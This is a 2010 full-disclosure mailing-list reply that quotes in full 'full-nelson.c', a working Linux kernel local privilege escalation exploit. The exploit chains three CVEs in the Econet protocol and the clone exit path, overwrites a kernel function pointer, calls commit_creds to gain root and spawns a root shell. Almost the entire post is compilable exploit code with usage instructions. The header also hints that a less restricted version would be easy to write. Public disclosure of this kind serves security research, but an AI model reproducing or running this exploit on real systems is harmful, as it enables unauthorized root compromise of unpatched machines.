Date: Tue, 07 Dec 2010 21:06:44 +0000
From: "Cal Leeming [Simplicity Media Ltd]"
	<cal.leeming@...plicitymedialtd.co.uk>
To: Dan Rosenberg <dan.j.rosenberg@...il.com>
Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Re: Linux kernel exploit

Anyone tested this in sandbox yet?

On 07/12/2010 20:25, Dan Rosenberg wrote:
> Hi all,
>
> I've included here a proof-of-concept local privilege escalation exploit
> for Linux.  Please read the header for an explanation of what's going
> on.  Without further ado, I present full-nelson.c:
>
> Happy hacking,
> Dan
>
>
> --snip--
>
> /*
>   * Linux Kernel<= 2.6.37 local privilege escalation
>   * by Dan Rosenberg
>   * @djrbliss on twitter
>   *
>   * Usage:
>   * gcc full-nelson.c -o full-nelson
>   * ./full-nelson
>   *
>   * This exploit leverages three vulnerabilities to get root, all of which were
>   * discovered by Nelson Elhage:
>   *
>   * CVE-2010-4258
>   * -------------
>   * This is the interesting one, and the reason I wrote this exploit.  If a
>   * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
>   * word will be written to a user-specified pointer when that thread exits.
>   * This write is done using put_user(), which ensures the provided destination
>   * resides in valid userspace by invoking access_ok().  However, Nelson
>   * discovered that when the kernel performs an address limit override via
>   * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
>   * etc.), this override is not reverted before calling put_user() in the exit
>   * path, allowing a user to write a NULL word to an arbitrary kernel address.
>   * Note that this issue requires an additional vulnerability to trigger.
>   *
>   * CVE-2010-3849
>   * -------------
>   * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
>   * fairly benign as a local denial-of-service.  It's a perfect candidate to
>   * trigger the above issue, since it's reachable via sock_no_sendpage(), which
>   * subsequently calls sendmsg under KERNEL_DS.
>   *
>   * CVE-2010-3850
>   * -------------
>   * I wouldn't be able to reach the NULL pointer dereference and trigger the
>   * OOPS if users weren't able to assign Econet addresses to arbitrary
>   * interfaces due to a missing capabilities check.
>   *
>   * In the interest of public safety, this exploit was specifically designed to
>   * be limited:
>   *
>   *  * The particular symbols I resolve are not exported on Slackware or Debian
>   *  * Red Hat does not support Econet by default
>   *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
>   *    Debian
>   *
>   * However, the important issue, CVE-2010-4258, affects everyone, and it would
>   * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
>   * more sophisticated version of this that doesn't have the roadblocks I put in
>   * to prevent abuse by script kiddies.
>   *
>   * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
>   *
>   * NOTE: the exploit process will deadlock and stay in a zombie state after you
>   * exit your root shell because the Econet thread OOPSes while holding the
>   * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
>   *
>   * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
>   */
>
> #include<stdio.h>
> #include<sys/socket.h>
> #include<fcntl.h>
> #include<sys/ioctl.h>
> #include<string.h>
> #include<net/if.h>
> #include<sched.h>
> #include<stdlib.h>
> #include<signal.h>
> #include<sys/utsname.h>
> #include<sys/mman.h>
> #include<unistd.h>
>
> /* How many bytes should we clear in our
>   * function pointer to put it into userspace? */
> #ifdef __x86_64__
> #define SHIFT 24
> #define OFFSET 3
> #else
> #define SHIFT 8
> #define OFFSET 1
> #endif
>
> /* thanks spender... */
> unsigned long get_kernel_sym(char *name)
> {
> 	FILE *f;
> 	unsigned long addr;
> 	char dummy;
> 	char sname[512];
> 	struct utsname ver;
> 	int ret;
> 	int rep = 0;
> 	int oldstyle = 0;
>
> 	f = fopen("/proc/kallsyms", "r");
> 	if (f == NULL) {
> 		f = fopen("/proc/ksyms", "r");
> 		if (f == NULL)
> 			goto fallback;
> 		oldstyle = 1;
> 	}
>
> repeat:
> 	ret = 0;
> 	while(ret != EOF) {
> 		if (!oldstyle)
> 			ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy, sname);
> 		else {
> 			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
> 			if (ret == 2) {
> 				char *p;
> 				if (strstr(sname, "_O/") || strstr(sname, "_S."))
> 					continue;
> 				p = strrchr(sname, '_');
> 				if (p>  ((char *)sname + 5)&&  !strncmp(p - 3, "smp", 3)) {
> 					p = p - 4;
> 					while (p>  (char *)sname&&  *(p - 1) == '_')
> 						p--;
> 					*p = '\0';
> 				}
> 			}
> 		}
> 		if (ret == 0) {
> 			fscanf(f, "%s\n", sname);
> 			continue;
> 		}
> 		if (!strcmp(name, sname)) {
> 			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
> 			fclose(f);
> 			return addr;
> 		}
> 	}
>
> 	fclose(f);
> 	if (rep)
> 		return 0;
> fallback:
> 	uname(&ver);
> 	if (strncmp(ver.release, "2.6", 3))
> 		oldstyle = 1;
> 	sprintf(sname, "/boot/System.map-%s", ver.release);
> 	f = fopen(sname, "r");
> 	if (f == NULL)
> 		return 0;
> 	rep = 1;
> 	goto repeat;
> }
>
> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
> typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
> _commit_creds commit_creds;
> _prepare_kernel_cred prepare_kernel_cred;
>
> static int __attribute__((regparm(3)))
> getroot(void * file, void * vma)
> {
>
>          commit_creds(prepare_kernel_cred(0));
>          return -1;
>
> }
>
> /* Why do I do this?  Because on x86-64, the address of
>   * commit_creds and prepare_kernel_cred are loaded relative
>   * to rip, which means I can't just copy the above payload
>   * into my landing area. */
> void __attribute__((regparm(3)))
> trampoline()
> {
>
> #ifdef __x86_64__
> 	asm("mov $getroot, %rax; call *%rax;");
> #else
> 	asm("mov $getroot, %eax; call *%eax;");
> #endif
>
> }
>
> /* Triggers a NULL pointer dereference in econet_sendmsg
>   * via sock_no_sendpage, so it's under KERNEL_DS */
> int trigger(int * fildes)
> {
> 	int ret;
> 	struct ifreq ifr;
>
> 	memset(&ifr, 0, sizeof(ifr));
> 	strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
>
> 	ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);
>
> 	if(ret<  0) {
> 		printf("[*] Failed to set Econet address.\n");
> 		return -1;
> 	}
>
> 	splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
> 	splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
>
> 	/* Shouldn't get here... */
> 	exit(0);
> }
>
> int main(int argc, char * argv[])
> {
> 	unsigned long econet_ops, econet_ioctl, target, landing;
> 	int fildes[4], pid;
> 	void * newstack, * payload;
>
> 	/* Create file descriptors now so there are two
> 	   references to them after cloning...otherwise
> 	   the child will never return because it
> 	   deadlocks when trying to unlock various
> 	   mutexes after OOPSing */
> 	pipe(fildes);
> 	fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
> 	fildes[3] = open("/dev/zero", O_RDONLY);
>
> 	if(fildes[0]<  0 || fildes[1]<  0 || fildes[2]<  0 || fildes[3]<  0) {
> 		printf("[*] Failed to open file descriptors.\n");
> 		return -1;
> 	}
>
> 	/* Resolve addresses of relevant symbols */
> 	printf("[*] Resolving kernel addresses...\n");
> 	econet_ioctl = get_kernel_sym("econet_ioctl");
> 	econet_ops = get_kernel_sym("econet_ops");
> 	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
> 	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
>
> 	if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
> 		printf("[*] Failed to resolve kernel symbols.\n");
> 		return -1;
> 	}
>
> 	if(!(newstack = malloc(65536))) {
> 		printf("[*] Failed to allocate memory.\n");
> 		return -1;
> 	}
>
> 	printf("[*] Calculating target...\n");
> 	target = econet_ops + 10 * sizeof(void *) - OFFSET;
>
> 	/* Clear the higher bits */
> 	landing = econet_ioctl<<  SHIFT>>  SHIFT;
>
> 	payload = mmap((void *)(landing&  ~0xfff), 2 * 4096,
> 		       PROT_READ | PROT_WRITE | PROT_EXEC,
> 		       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
>
> 	if ((long)payload == -1) {
> 		printf("[*] Failed to mmap() at target address.\n");
> 		return -1;
> 	}
>
> 	memcpy((void *)landing,&trampoline, 1024);
>
> 	clone((int (*)(void *))trigger,
> 	      (void *)((unsigned long)newstack + 65536),
> 	      CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
> 	&fildes, NULL, NULL, target);
>
> 	sleep(1);
>
> 	printf("[*] Triggering payload...\n");
> 	ioctl(fildes[2], 0, NULL);
>
> 	if(getuid()) {
> 		printf("[*] Exploit failed to get root.\n");
> 		return -1;
> 	}
>
> 	printf("[*] Got root!\n");
> 	execl("/bin/sh", "/bin/sh", NULL);
> }
>
>
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> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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